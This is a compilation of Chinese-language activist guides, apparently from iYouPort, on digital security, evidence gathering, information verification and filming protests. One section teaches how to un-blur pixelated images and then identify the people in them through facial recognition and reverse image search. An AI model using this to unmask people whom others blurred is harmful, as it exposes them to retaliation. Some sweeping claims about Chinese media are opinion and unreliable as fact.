如果你正在记录侵犯人权的行为、社会敏感问题、政府阴暗面，互联网可以帮助将真相传播到前所未有的广度让人们知晓，同时也可能会让你入狱。无论你是保护环境的活动家、记录系统性国家暴力的公民记者、还是驻扎冲突地区的独立调查人士，都要重点考虑数字记录和传输的安全问题，这不仅仅是为了你自己。如果您无法妥善保护视频、照片和通信记录，那么您与之通信或传输文档的每一个人都将面临风险。只有更好的安全性才能更好地工作。

在中国，普通人也面临着极其严重的政府监视和间谍行为，安全知识、威胁警报和技术援助对中国社会来说尤其重要。然而很多人并没有重视起证据保护的环节，抓不住重点的拍摄记录反而令当局掌握了辩解的借口；被查抄的资料导致记录者和相关人等被逮捕、真相被掩盖；最终只有极少的证词而没有可靠的资料，很难平冤。

最初，数字威胁一直被认为是压倒性的，许多人认为需要特殊的技术专业知识才能理解和减轻所面临的安全威胁。中国社会似乎至今如此。这也是为什么隐私保护知识的传播非常困难。但这是一个错误的观念，虽然可以理解。

事实上，提高您的数字安全性只是意味着需要弄清楚您自己所面临的风险是什么，并由此判断您愿意学习哪些工具和技术来保护自己和周围的人。

安全培训师称此流程为风险评估或威胁建模。这听起来似乎有点复杂，但有如今许多组织都有在线创建资源，可以帮助您评估和满足您的数字安全需求。本文列出了一些类似的指南，以及它们可以教给您的内容。

评估您的风险

要得到更好的安全性的第一步是威胁建模或风险评估。这只需要问自己以下五个问题。考虑拿出纸笔，并可以和与您密切合作的人一起讨论这些问题，因为安全是一项集体的努力，一个人的安全可能无法解决整体问题：

- 我需要保护什么？
- 我需要防御的是谁？
- 他们想要多少信息，以及获取信息有多容易？
- 如果他们得到我要保护的东西会发生什么？
- 我愿意做些什么来阻止这种情况发生？

就这么简单。让我们使用一个具体的例子以便更详细地看下这些问题。也许你拍摄了一名警察殴打抗议者的视频，这时候您就非常有必要保护您所创建的材料，因为当局会想尽一切办法销毁它，甚至将您逮捕。

不仅需要保护收集的数据不落入坏人之手，您可能还需要保护抗议者的真实身份。为了您自己的安全，您可能需要隐藏您拍摄了事件这一事实。总之需要保护所有这一切不受警察的影响。但也许您还需要将更多信息隐藏起来，例如，您的工作地点、真实姓名等，因为您可能因为“激进”而被解雇。这只是需要保护的大量案例之一，你必须仔细考虑自己的情况。

一旦你弄清了需要保护什么以及防御什么人，接下来就会想到实际的风险是什么。也许您已经知道，警察经常会抢走人们的手机和电脑，他们对拍摄记录非常生气。而且你不知道他们有什么技术，但你需要怀疑他们可以通过你的手机了解到关键信息。

延伸阅读：《"//我的设备好像被黑了怎么办？ — — 给敏感人士和小白朋友的数字急救包//"》《"//民间非政府组织如何与联合国人权委员会合作以改善国家的人权状况？//"》

然后，如果您的安全性受到损害，您必须考虑后果，以及您为避免这些后果而愿意采取的措施。例如，警察抢走你的拍摄资料的后果可能

只是你无法再公开这些真相了，但如果他们对被拍摄感到非常愤怒，可能会导致你最终受到警察的骚扰和威胁。也许这名遭到严重殴打的抗议者被反咬为“打警察”（这种事经常发生），并且由于你丢失了自己拍摄到的视频真相，这些指控就不会被取消。在这些情况下，您自己和您涉及的人的生命都可能处于危险之中。

最后，使用这些信息，您可以决定愿意采用哪些工具以及愿意改变哪些习惯性做法，以避免这种后果。例如，在手机上启用加密是一个简单的步骤，可能会使警方更难获取您的数据。也许你非常关心你拍摄的人并且不希望他们的身份被公开 — 他们所面临的报复风险可能非常大。在这种情况下，您可以考虑下载和使用 "ObscuraCam" 或 "YouTube Blur Tool" 等技术来删除视频的可识别部分。这可能比开启加密要稍微复杂一些，但它可以挽救一个人的生命。

学习如何保护自己和他人

我们都知道，任何时候证据都很重要。政府的恶行最怕被揭发和公之于众，中国当局称其为“负面消息”而被禁止传播，因为那是他们的罪证。

- 肯尼亚公民组织拍摄了几个小时的公民证词和现场录像，关于他们的房屋被政府强行拆除的证据，最终非洲最高地区法院作出判决，将土地还给人民。如果没有这些证据，就无法获得这样的裁决；
- 一名美国公民拍摄了警察打人的视频，然而她被警察诬告“袭警”，在她被强行居留的时候，警方删除了她设备上储存的视频，也就是警察打人的证据。但警察没想到她首先将视频上传到“云端”了，最终她拿出证据证明了自己的清白；
- 危地马拉的活动家拍摄了政府暴行的证据，记录了当地人民抗争的过程，作为人权纪录的铁证……

WITNESS Library 提供各种各样的资源，使用超过十五种语言介绍公民反抗的技术技巧；两个最全面的在线指南是 EFF 的“ 监视自卫 ”（SSD）和 Tactical Tech and Frontline Defender 的“ 安全盒”，“这两个站点都准确表明了他们上次更新的时间，这很重要，因为反抗技巧出现后，当局的反制技术就会随后出现，数字安全资源可能会过时；SSD 提供针对特定情况的指南（例如“跨越美国边境时需要考虑的事项”），有关如何使用特定工具的详细教程，以及针对特定人员（如记者或 LGBTQ 青年）的建议工具列表。有英语，法语，西班牙语，俄语，土耳其语，越南语，葡萄牙语，泰语， 阿拉伯语， 阿姆哈拉语和乌尔都语；Security-in-a-Box 有十五种语言的版本，还有一

个全面的工具和策略列表，以及一个侧重于特定社区的部分，例如中东和北非的 LGBTI 社区。

其他有用的资源包括：

- Tactical Tech 的“Z en and the art of making tech work for you ”指南，专注于“女性和跨性别活动家、人权维护者和技术专家”，并拥有一些独特的资源，如“在线创建和管理身份”。它尚未完成，但仍然非常有用。有英语和西班牙语版本；
- Rapid Response Network 的数字急救套件“旨在为面临最常见类型的数字威胁的人提供初步支持。”当您已经受到入侵时，该套件特别有用，因为它会给您具体的指导；
- Crash Override Network 为避免成为在线滥用目标的人提供网络安全资源，包括 Doxing 预防指南（doxing 是您的电话号码、法定姓名和家庭住址等信息的公开）。他们的指南有一些针对美国特定的信息，但他们有很多信息对任何人都有用；
- Hollaback！为 Twitter，Facebook，Tumblr，Youtube 和 Reddit 提供社交媒体指南，使您能够更安全地使用这些平台进行导航。
- 自由软件基金会的“Email Self-defense ”指南，在十五种语言版本，是保护您的电子邮件的好资源。

获得这种知识的能力意味着您争取人权的斗争是否能成功。

下面简要介绍两个工具，我们将来还会介绍更多适合中国公民的有效工具。

「图」

"CameraV"：是在智能手机或平板电脑上捕获和共享可验证的照片和视频证据的最简单方法，同时更重要的是可保持其安全和私密。

"ObscuraCam"：在遍地都是面部识别的世界中，ObscuraCam 可以帮助您分享照片和视频的同时保护您和您关心的人的隐私。使用 ObscuraCam，您可以模糊和掩饰照片和视频中的面孔。为了增加安全性，它可以从文件中删除可能将您识别为摄像师的任何信息。

我们曾经介绍过的挖掘真相和验证信息真伪的工具《超级情报收集工具库》都可以在此发挥作用。运作经验也很重要，熟练跟踪和记录完整事件并保证安全和真实性，是每位活动家和追求正义的人的必备技能。以下以罗兴亚种族灭绝事件为例，演示活动家的工作流程。

活动家 Jamila Hanan 自2012年以来一直在争取缅甸罗兴亚人民的权利。她最初意识到问题的严重性时，一众主流媒体还没有任何反应，直到状况变得越来越糟。

她组织了一众在线活动家的团队，一起想办法和采取行动。他们使用 #WeAreAllRohingyaNow 标签发起活动，尝试将全世界反对压迫公民自由的情感联系在一起。数据收集 — 也就是证据收集是这项工作的重点。、

一开始她希望有更多人参与到数据收集的工作中来，但发现很难做到，志愿者们无法持久和长期地跟进，于是她只能自己动手。将每天从当地人那里得到的所有报告简单汇总成在线数据日志。她有一个最信任的联系人的 Twitter 列表（@AllRohingyaNow），每天检查记录的任何新报告，包括每个事件的日期时间、事发地点等。你可以在这里看到这个日志，现在它是公开的。

她尝试报告每个事件的坐标，并使用这些数据将事件映射到共享的 **GoogleMap** 上，其中还嵌入了图像和 **YouTube** 视频。映射数据非常有用，可帮助您一目了然地查看任何一个区域内发生的情况，这有助于发现原本可能遗漏的区域中的相关事件。

「图」

获取地方的地理坐标很困难，因为罗兴亚人使用不同的地名来标志区域而不是缅甸的官方名称，她总结了一个坐标列表，这是因为缅甸语使用不同的字母字符，因此相同的名称通常可以用几种不同的方式拼写。

为了帮助解决这个问题，她依靠可信赖的 Rohingya 联系人。一个罗兴亚的朋友非常清楚 Maungdaw 镇的同名地名，另一位知道 Buthidaung 镇的所有地方。这就是擅长合作的力量。

在保持每日日志时，不要错过任何消息非常重要，因为稍后回溯捕获数据可能很困难，尤其是在依赖 Twitter 时，因为推文很快会被埋没或有可能被删除。她记录的大部分数据后来被证实是准确的，通过交叉参考目击者证词、以及卫星成像等验证工具。

延伸阅读：《"//用于信息验证的基本地理定位工具//"》

「图」

和所有当权者一样，缅甸军方一直在试图狡辩，而活动家制作的数据

日志清楚地显示了清除行动是如何在8月25日之前开始的，当时据报道发生了反叛袭击，有一些被军方挖出的残缺不全的乱坟坑，当局辩称这些尸体是由罗兴亚叛乱分子屠杀的印度教徒。照片被迅速传播到社交媒体上作为对罗兴亚人的污蔑。

但是没有用，因为证据已经被记录了，现在所有人都知道被杀的人是谁。Hanan 与孟加拉国难民营的一位记者密切合作，帮助在线研究和发布信息，有助于即时揭示政权的谎言。

准确识别和对付推特水军也是一项重要工作，要防止他们试图污染和掩盖消息。由于账户创建时间可见，并且他们均发布几乎一样的垃圾信息，于是识别并不难，同时注意及时揭露。

延伸阅读：《"//巨魔崛起：政府资助的网络水军正遍布全球//"》

如果您是目击者，在发生重要事件的场合，大多时候需要手机来记录信息。使用手机记录的要点如下：

- 规划您的拍摄：手机的存储容量有限，根据你需要录制的内容注意手机上可用的空间量，尽可能选择重点细节；
- 捕获细节和视角很重要：您需要迅速准确地抓取重点。手机具有广角镜头，具有有限的变焦能力。先从物理上靠近记录细节，然后向后移动以显示更广泛的事件视角；
- 保持你的拍摄稳定：不要来回挥动手机试图一次拍摄所有内容，请选准镜头，并保持稳定至少10秒，避免缩放，将肘部靠在身体上以增加支撑力和稳定性；
- 平稳地握住你的手机：水平握住手机以捕捉更宽的角度，以便在电视或计算机显示器上播放时图像看起来更好；
- 注意音效：现场证词很重要，您需要靠近受访者，以便麦克风可以获得更好的音频。要注意可能会淹没采访的环境吵闹声；
- 注意光线：移动电话在低光照条件下录制效果不佳，请尽可能在光线充足的地方录制采访记录。为了获得最佳图像，请始终让光线保持在背后；
- 人身安全：请禁用 GPS，并在不使用后立即取下电池并关闭手机；
- 保护您的朋友和联系人；如果您的手机被警方抢走，他们可以访问联系人姓名、通话记录、短信、照片、视频和音频文件。如果存在手机被没收的风险，请删除或加密所有敏感数据；
- 保护你的载体：评估保护您的卡可以免受当局干扰的最佳方法。考虑使用空白卡更换旧卡，隐藏使用过的卡或将其交给朋友安全存储。如果您可以安全地连接到互联网，请考虑立即将

媒体文件上传到稳妥的网站，或通过电子邮件或文本与受信任的朋友分享，以扩大备份量。

以上是作为公民社会参与者的一些必备知识。技术、技巧、技能不仅需要学习，而且需要练习，在平日多多练习相关技术，熟悉操作方法，以便您能在突发事件来临时准确地采取这些方法。我们知道中国有很多有志之士，我们希望能在“装备”方面助大家一臂之力。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

如何让模糊图像变清晰？- 开源情报初级处理工具 - iYouPort

让它民主-公民掌握真相的技巧和技术

先看清楚，然后才能知道“它”意味着什么

「图」

「图」

如果您忘记了我们曾经介绍过的恢复社交媒体照片完整分辨率的方法，可以在这里回顾《别让社交媒体的自然模糊阻挡真相》。

在调查行动中，你经常会遇到可能包含重要信息的图像，但它们太模糊、嘈杂或混乱，以至于难以理解。

你必须首先看清楚，否则无法知道那意味着什么。

Somdev Sangwan 介绍了一些有用的技巧；接下来将讨论的是一些可用于从模糊图像中检索信息的方法。

滤镜如何工作？

每个图像都由被称为像素的微小点组成。每个像素都有一个可产生其颜色的值。不同的图片格式要求像素保存不同种类的值。

例如，灰度图像是“黑白”，并且其中的每个像素都具有从0到255的值，其中0是纯黑色，255是纯白色，而RGB图像的像素包含三个值，红色、蓝色和绿色，例如（0，124，255）。可以使用这三种原色来形成所有颜色。

很有趣是吧？因此，照片滤镜只是使用数学运算来修改这些值的结果。请考虑一个6×6灰度图像，其像素值介于0到255之间。

「图」

「图」

我们将使用称为 Kernel 的东西对其应用滤镜。图像和卷积核都是矩阵。

使用 3×3 Kernel：

「图」

「图」

然后将这个卷积核放在这样的图像上：

「图」

「图」

把卷积核值和图像的叠加值相乘：

(94 x 0) + (178 x 2) + (124 x 0) + (23 x 2) + (94 x 4) + (135 x 2) + (153 x 0) + (120 x 2) + (140 x 0)Let's do some maths!

0 + 356 + 0 + 46 + 376 + 270 + 0 + 240 + 0Doing some more maths gives as 1288Now let's divide 1288 by the sum of values of the kernel i.e. 121288 / 12 = 107

现在得出的就是中心的像素（具有94值的像素）的新值。

「图」

「图」

然后不断替换旧的值。我现在不打算计算每个像素的新值，但是您已经理解了，这就是它的工作方式。

卷积核的大小和值确定了输出的图像将是什么。例如，以下卷积核将锐化图像：

0 -1 0

-1 5 -1

0 -1 0

但是本文是对模糊滤镜感兴趣，最常见的模糊类型是高斯模糊，它是使用高斯函数完成的，其卷积核如下所示：

「图」

「图」

Source: WikiPedia

请注意这些值是如何被规范化的，并且这些值如何随着距中心的距离增加而开始减小。这就是减少图像细节并使它们看起来模糊的原因。

反转模糊

快速回答：10除以X等于2，那么X是几？是5对吗？

这里有2个输入（即10和x），一个运算符（即除法），以及结果（即2）。

通过使用此信息，您就能够找到x的值。您可以用相同的方式消除高斯模糊吗？是的，在一定程度上可以做到。

我们之前在图像上执行的操作称为卷积，所有滤镜都遵循相同的原理。为了使图像模糊，我们将使用自我解释性操作，即反卷积。

以下面这张图片为例：

「图」

「图」

在此使用半径为3的高斯模糊：

「图」

「图」

如果您想自己尝试，请下载 GIMP 并安装名为 G’MIC 的插件；安装后，请转到 **“Filters」G’MIC」Details」Sharpen (Deblur)”** 以访问相关工具。

无论如何，将反卷积与适当的值一起使用就会产生可读取的结果。

「图」

「图」

把上面的操作放在一起比较一下：

「图」

「图」

数学很酷，不是吗？这里有一个视频：

明白了它的原理就可以开始操作了。

下面尝试反转像素化模糊。

请注意：**GIMP**在本教程中用作照片编辑工具。 一旦失真就无法从图像中检索100%的细节。

接下来将讨论另一种流行的模糊方法，被称为 **Pixelize**。

使用此方法模糊的图像可以通过可见的“方格”来识别。 以下面的图片为例：

「图」

「图」

REDACTED

像素化模糊的工作原理是将图像划分为多个正方形，然后将每个正方形中的所有像素替换为其平均值。

例如，如果一个方格有7个黑色像素和7个白色像素，则该方格中的所有像素将变为灰色。

下面来通过应用高斯模糊开始恢复示例图像。

转到“滤镜”」“模糊”」“高斯模糊”，并继续提高模糊大小（半径），直到那些方格消失，然后单击“应用”。

「图」

「图」

Name: BE _AON

看起来好多了！现在，按 Shift ＋ Ctril ＋ D 复制图层。

现在，转到 “滤镜”」“边缘检测”」“图像渐变”，然后单击“应用”。画面最终看起来像这样：

「图」

「图」

现在，转到 “颜色”」“亮度对比” 并逐渐增加对比度，直到获得精致的边缘。

在GIMP窗口的右下角，找到以下标签，单击 ╲╱ 图标，然后从选项列表中选择 “**Soft Light**”。

「图」

「图」

Blend mode

可以通过移动那个 opacity 滑块调整此操作的效果。

「图」

「图」

Adjusting opacity

将其调整到您想要的程度，这样就可以获得稍微增强的图像。

「图」

「图」

Name: BE LARSON 这是模糊图像和结果图像之间的比较：「图」「图」 vs BE LARSON

很明显，右侧的结果已经可以开始使用人脸识别 —— 对于公民调查

人员来说，这个时候你就可以使用反向图像搜索以获得对照片中人物的了解。

「图」

「图」

在这里看到反向图像搜索的技术介绍：《搜图功能哪家强？图像验证方法的能力对比》。〇

广告

原文

技巧：信息筛选和垃圾识别 —— 互联网人的基本功 - iYouPort

让它民主-公民掌握真相的技巧和技术

「图」

如果知道如何搜索，你几乎可以回答任何问题，这句话毫不夸张。不过真正娴熟于搜索功能的网民少之又少，也同样不是夸张。

观察一下周边人的搜索行为很容易发现，就连给词条加上引号以实现精确搜索、用加号或减号来合并或排除搜索词条这样简单的功能都乏人问津。谷歌和必应都有高级搜索链接，可以查找包括数个词条的页面，而这些词条必须以某种特定的顺序出现；查找包括某个特定的词或短语的页面；查找包括某个特定短语中任何一个或多个词语的页面；在搜索结果中删除包含某个词条的页面等等。

不少网民可能搜一下就停止了，这是很浪费的使用方法，你完全可以把搜索看成调查的过程，搜索不是为了找答案，而是为了探索。

并且，当搜索用于学习而非单纯的查找时，其效力才是最大的。互联网上有很多通过搜索来学习亚文化的社区，帮助人们参与到复杂的社会系统中，在这个系统里，知识的交互能促进个体的情感认同。保守的中国人很适合由此开阔眼界。

如果你能把想要搜索的内容总结成一个词或者一个短语，维基百科便很可能提供一系列的外部链接，帮助你容易入门。这种入门级的网站被称为“门槛站点”，同类的还有提供国际信息数据的cia.gov、reference.com,和 about.com等，在搜索词条中加入“如何”或者“DIY”等词语可以更容易找到这些门槛站点。

有一些基于经验的技巧能帮你同时寻找到需要的语境，比如，搜索的时候想想目标页面可能包含哪些词汇；如果是提问，想想可能的答案，加入“如何”或“批评”等词语就更容易找到指南或不同见解。

有时候用多个词条来搜索能让你快速锁定答案，但过于精确的词条也

会让人误入歧途，因为它限制了搜索的范围。谷歌的“搜索人类学家”Dan Russell建议，在你刚开始寻找答案的时候最好使用宽泛的搜索，揣摩作者的想法，然后选择你认为最有可能出现在目标页面上的关键字。

你看过搜索结果第四页及其之后的内容吗？如果没有你可能就亏大了。不仅建议多看几页，更支持兼用不同的搜索引擎，以及更换关键字、从之前查找到的相关信息片段中提取关键字，然后用这些关键字进行新的搜索，尽可能减轻视野局限带来的弊端。

「图」

完成搜索只是完成了一少半的工作，更重要的是判断你搜到的信息是否值得信赖。那些经常在网上使用“求证”来标示所发布内容的网友形成的效应往往不完全是求证，而是引导出信任，因为太多人缺乏信息渠道、懒于求证，或者根本不了解求证的基本技术。

任何人都可以发布内容的互联网上权威的价值已经被削弱，尽管如此权威依旧是检验信息可靠性的有用线索，但关键问题在于，如何界定权威。有真才实学的人不一定都有响亮的头衔，如果仅凭身份来判断可信度就会错过真知灼见。在美国，很容易查到某个学科的研究人士的等级，Faculty Scholarly Productivity Index (FSPI)，或者下载Publish or Perish软件，它可以根据多重标准来分析“谷歌学术”上的文章被引用的次数。在中国，更多需要你的长期经验积累，更宽广的社交网络连接关系，并且，多读书。

上述是对于知识性信息来说的，对于时政新闻来说就更复杂了些，必须指出的一个基础就是－－切不可轻信单一信息源，尽量使用三点定位法，也就是三个完全不同渠道的支持，它是新闻专业人士最为基础的判断真伪的习惯。

简单介绍几个步骤。首先识别内容。你看到的是些什么内容？

新闻被分为四种类型，其中官媒（包括所有被党派左右的新闻机构）发布的是消息大多属于「肯定式新闻」、门户网站的新闻接近「断言式新闻」，新闻工作者在此只是起到了一个传声筒的作用，他们只需要背诵那些拟定好的观点和结论，不加质疑。这样的新闻不依靠准确、完整或核实来构筑公信力，只是以满足表达（或认可）一种信念为目的，而刻意选择性摘取消息的片段。

「肯定式新闻」的标志是辩论文化让位于答案文化，目的是令社会稳

定、看起来「井然有序」，免于争执。当然也拒绝了受众的独立思考。此外，强调准确和语境的「确证式新闻」是最传统的模式；被利益集团操控，基于特定目标和针对固定受众群体的、看起来像调查报道的新闻，是伪装成新闻的宣传。

当下的状况变得更复杂，即便没有通稿的要求和禁令的束缚，很多记者也越来越懒得亲自去查明事实，而是只凭直觉就接收他人的二手甚至三手消息。于是整体上给信息消费者的印象是新闻离事实越来越远，逐渐变成了另一种形式的舆论。真正通过核实的消息，信源会呈现多样化，记者（发布者）对各种信源保持着怀疑态度，并非停留在对信息表面的陈述，而是倾向于继续挖掘。就如我们上述对个人搜索所建议的态度。

其次，看信息细节的充分性。你看到的这篇报道完整吗？如果不完整，它缺了什么？

对完整性的检验涉及信息源、证据和潜在的偏见。新闻的缺陷是碎片化，本身缺乏完整性，信息消费者应该首先注意到的是「它提供了什么事实」，基于这些事实的证据是否充分，如果不能充分，则不可确信。

由于「断言式新闻」的时效性较高，它提供的肯定只是片段，判断则需要将多方面的片段尽可能拼凑完整后再加以分析。而对于「肯定式新闻」来说，因为它急于呈现的是一个观点和论断，多半没有足够的事实，或没有仔细辨认过证据的真实性。

「图」

第三，评估信息源。传出信息的人是谁？为什么可以相信他们？

具体人名、身份对于判断来说只是一个很小的元素，关键在于这些人（信息源）是否真的掌握了信息。作为记者，对信息源的选择不能夹带任何目的，媒体人考证信息源的积极性是新闻可信度的标志。采集到的是否一手信息？如果不是，中间隔了哪些环节？它们都足够可信吗？

如果媒体人没能给公众呈现出这些疑点，便很容易形成误导或被聪明的消费者质疑。

有些时候信息消费者可以看到采访过程实录，需要注意的是记者的提问内容，究竟问的是事实，还是在寻求观点。如果是后者，则需要针

对性思考，而不是仅凭直觉接收。如果发现记者在借助一系列对事实的追问，有目的的引导受访对象表现出媒体预期的态度，那就不叫采访，而是说服。

第四，评估证据。哪些才是证据？

观察和理解不是一回事，后者是个体基于前者加入了个人经验或感受后得出的结论，是「我感觉」，而不是「我看到」；推断和实据也不是一回事，自媒体渠道经常见到这种影响，令受众将推测结论和事实混淆在一起，认知被干扰。

如果信息源是有目的的（比如党宣或被利益集团、政治派系所操控的，伪装的自媒体或新媒体），则会给信息消费者带来误导。

第五，问问自己还有其他可能性或解释吗？都是些什么？

如上述新闻分类，目前中文内容中最常见到的是「断言式新闻」和「肯定式新闻」，它们不是以展示事实为根本的，事实只是宣传目标的附属品。那些未经核查的事物，不论其准确与否都属于断言，报道的目的是暗示和影响，而不是呈现。

如果信息消费者发现记者在采访中只是「给受访对象一个说话的机会，说出他们想说的话」，而不是尝试核实和质疑结论，那很可能无法确保是真实的。单个数据只能暗示事实，而无法确定事实，如果你看到的只是单一信息源发布的单一数据，便可以怀疑是基于宣传目的所做的「证据筛选」，在「肯定式新闻」中很常见。

排斥掉那些试图影响你的结论及证据，试着反问：还有其他可能性吗？哪一个更可能？或许有必要重复一下：这些新闻模式并非官媒和门户网站所独有。

第六，筛选题材。你得到了真正需要的新闻内容吗？信息轰炸时代，各种渠道的消息铺天盖地，对受众个体来说，那些东西真的都是你需要的吗？

你还可能漏掉了什么，有没有发现一些消息里隐藏着对民生影响较大的意义？也可能过多接收了一些没有价值的纯宣传，还可能被它们误导了，这是比浪费时间更大的损失。

「图」

这次美国大选的相关报道中很多具有宣传性质，中文的就不用看了，

不仅滞后太多，并且带有严重的误导性。查看政党的誓言可以使用factcheck.org，而不是微信微博或者其他小报形式的中文网站。

偏向性报道已经成为很严重的问题，掌握筛查偏向性的技巧能在很大程度上协助你隔离宣传信息的误导。“student news daily”网站介绍过一些偏向的基本特征，用它来围观美国总统选举的相关报道很有用：

1、故意忽略的偏向（bias by omission）。在单篇甚至系列新闻报道中故意不提某一方的观点、排斥对某一方不利的事实。

2、消息来源的偏向（bias by selection of sources）。在报道中允许一方面的观点有更多的消息来源。这种偏向也会采用“专家们认为”、“观察家们认为”和“多数人认为”这些说法，到底都是谁说的经常不会告诉你，这些人是否存在都是个问题。

3、事件选择的偏向（bias by story selection）。只报道符合一方面政治立场和新闻议程的事件，回避另一方面的或对自己不利的新闻。中文媒体大多是这样的。

4、报道安排的偏向（bias by placement）。在具体报道中，某一方面的观点或事实被安排在重要或者不起眼的地方。这点很微妙，利用的是人们的直观潜意识，如果打开一个网站，扫一眼头条能让你发现某个立场，那很可能就是中了这条。

5、标签化的偏向(bias by labeling)。这种偏向一般有两种形式。一种是给一方贴上有极端倾向的政治标签，而另一方或是没有标签或是用词中性；另种是，报道中不提某一方的党派标签，而是称其为“专家”或者“独立的消费者群体”之类。

6、内容阐释的偏向（bias by spin）。指的是对新闻的内容做只对某个党派、团体或立场有利的阐释，把另一方排斥在外，或者采取不同的对待。一般正规英文媒体不会出现这种状况，毕竟它太笨了，但中国媒体普遍使用它，因为中国一直以来只有“一个核心”。

下图比较直观的体现了大多数媒体的位置，就是旁边那两个影子：

「图」

互联网时代已经要求人们不能止于消费信息，而是要将其转化为主动学习的过程。美国一位老牌记者针对性的提供了五个原则：

1、就是保持怀疑，一开始就要有批判精神，然后像侦探那样去思

考；2、主动判断，在面对不可靠信息时不至于陷入无效的愤世嫉俗状态；

3、质疑你同意的观点，并且注意和你观点不同的来源。鼓励人们寻找那些与自己想法相悖的意见，只要它们不是反智和胡搅蛮缠，就同样值得分析。这点其实很重要，因为绝大多数人都喜欢只关注符合自己信念的信息，这种现象被称为“回音壁效应”，人们在不知不觉中把自己关入了一个与外界隔绝的气泡里，慢慢变得极端化和偏执。Duckduckgo 能帮你免除筛选气泡的影响。

4、是不断追问，就是我们在前面分析新闻的技巧中提到的一个重点。如今的欧洲媒体对此很重视，它们会主动提出“我们还不知道什么”类似的小标题，来实现持续的挖掘。

5、是一个实践性的方法，鼓励人们积极投入到社会化媒体的信息创造中去，它能帮你更了解信息制造者的思维模式，当然前提是你需要具备足够的自我检验主动性。也只有互联网能提供这样的机会，别浪费它。

「图」

对社会化媒体在新闻垃圾识别中的作用已经有人进行了探索。比如 NewsTrust.net 是一个网络撰稿人的社区，它集合了几万名审稿人，使用的是经验丰富的记者开发出的审稿工具。它展示了一项重要的众包实践，发掘群体的批判性思考对新闻业的意义。

NewsTrust.net 上你可以提交任何报道要求审阅，它的主页显示了一系列已经经过审视的报道，如果你选择阅读某篇文章，它会弹出一个窗口判断：是否真实、是否理据强劲、以及是否值得推荐。NewsTrust.net 还提供了相关指导，介绍如何评估一篇新闻报道的专业性。

NewsTrust 的目标是深入批判性分析，就如维基百科的志愿贡献者严守中立观点，并约定什么是可靠的来源。它们的模式都是互联网时代高度需求的。从维基百科查看 Donald Trump 和 Hillary Clinton 的相关条目能比你关注一堆媒体更靠谱些。

当然会有恶意毒化某一条目信息的现象，而它只意味着编辑行为将永远处于进行时状态，这正是媒体们越来越欠缺的精神。

在信息飞速流转的互联网时代，人们被迫在最短的时间内查清一个信

息是否可信，这便推动了社会化的新闻生产方式向众包方式运行的信息筛选工具的转化。后文还将谈到这个问题。

原文

拍摄取证 2：详述步骤和具体技巧 - iYouPort

让它民主-公民掌握真相的技巧和技术

> 事实上您可以做很多事以伸张正义、推动变革，而不是忍气吞声习以为常。但不论您选择做什么，拥有基本技术知识和技巧经验都是绝对必要的。这是成为一个真正的公民的必备基础

「图」

如果您还没有阅读或者已经忘记了我们在上一篇文章中所介绍的技巧经验，请在这里回顾它《"如何留住真相？"》。本文将具体就每一个步骤进行说明，您值得思考哪些问题、最好的处理方式是怎样的，以及顺手的技术储备等等，分享来自国际权利组织经验人士的意见。

我们将尽可能精炼，只说要点。

— — 在开始拍摄之前 — —

1、在开始拍摄之前，请确保视频中出现的内容是正确的选择; 因为您、您的组织、朋友和被您拍摄的人都面临着潜在的风险，拍摄、编辑和分发时都会出现不同类型的风险。请考虑周全，以便事先准备应对措施。

2、您需要有一个计划，请重点关注两件事：您是否有明确的、具体的变革目标？以及可以帮助您实现这一目标的明确受众？确立这两点后你就会知道该如何让拍摄成为达成这一目标的工具。

3、拍摄不是为了分享给朋友寻求一时的刺激转瞬即忘，它需要能发挥最大作用。制作完视频后，如何能在恰当的时间将视频呈现在正确的观看者面前？本身就是个学问。时机往往非常重要。您需要组织一天的行动、动员全球在线支持社区联合采取行动，或者将您的视频放在正在决定关键案例或政策制定的法官面前，以便作为关键证据对立法进行投票。

4、请确保有充分的“信息”可以提供给您的受众群，它有助于为您的

视频提供直接、具体的行动请求："这就是正在发生的事。行动起来！结束压迫、歧视和不公正！"

5、你讲的故事 — 你选择的场景、说出真相的人 — 都是传达信息的有利工具。因此，请为您的视频选择一个焦点 — 一个充满情感、道德和说服力的故事，并以强大的个人经验以及特定的时间和地点为基础，支撑这个故事，

6、许多宣传视频包括强大的、准确的事实和背景设置镜头，能很好的帮助观众了解整件事。只要你能抓住要点，就能令观众产生共鸣 — 所以，你应该让受到该问题直接影响的人谈论这一问题，而不是由你来代表他们做解释。要确保他们的表达能提供整个画面的有效补充。

7、成功的片子能激发观众采取行动。让您的观众感受到包容、参与、激励、充满希望或愤怒和羞辱等与自己切身利益相关的反馈，然后为这一明确的选择做好准备。

8、如果您能与他人合作，将可以产生更大的影响力。视觉信息作为最直观的动力 — 指导一天的行动、请愿、游行、报告撰写或法律案件。在线随视频一起提供背景信息，并让观众清楚地了解在线和离线的参与方式。

9、请尽可能确保您拍摄到的人均给予知情同意 — 这意味着他们了解自己被拍摄的风险和好处，为他们呈现视频效果，并告诉您是否需要隐藏自己的身份。您可能想要谈谈潜在的最坏情况，例如当压迫他们的人看到该视频时会发生什么，同时也需要说明您拍摄它的意义：带来改变的契机。

10、你并不需要太多的设备，但你需要做好充分准备，所以最好能制定一个计划：你的故事是什么？你想怎么表述这个故事？拍摄的地点/时间/人物都是什么？谁可以帮助你？

「图」

— — 拍摄抗议示威、群体事件和警察行为 — —

1、在不同国家这类内容的拍摄所面临的风险是不同的。在打开相机之前请确保您了解自己的法律权利，制定安全计划以保护您的安全。请记下紧急联系方式，或将其写在安全的位置。使用相机带或将相机系在手腕上，以免冲突中脱落损坏。如果做不到这点，那就不要携带这一设备。

2、带上额外的充电器和空的存储卡。如果使用智能手机拍摄，可以通过关闭应用程序和 wifi 定位器、以及降低设备屏幕的亮度，来节省电池电量。

3、首先把镜头面向自己，对着相机说话，以确认您是拍摄者。或者，使用原始视频文件保留书面记录。如果出于安全原因需要匿名，请使用一个化名。

4、您需要尽可能捕获素材的日期、时间和位置，以便可以更轻松地验证信息。如果可能，请启用自动日期、时间和 GPS 位置捕获功能。或者，电影海报、新建或建造一半的大型建筑物、街道标志和地标，都可以。保持拍摄至少10秒。更换位置时，请保持相机稳定并缓慢的移动，避免抖动和缩放。

5、通过广泛和中等镜头对事件进行语境化；使用特写镜头捕捉细节；使用各种角度和高度来捕捉人群的规模大小和行为；捕获有关当局的存在和其形成的镜头。如果身份应该是匿名的，那么镜头应该出现在背后，只记录人们头部或脚部的背面。

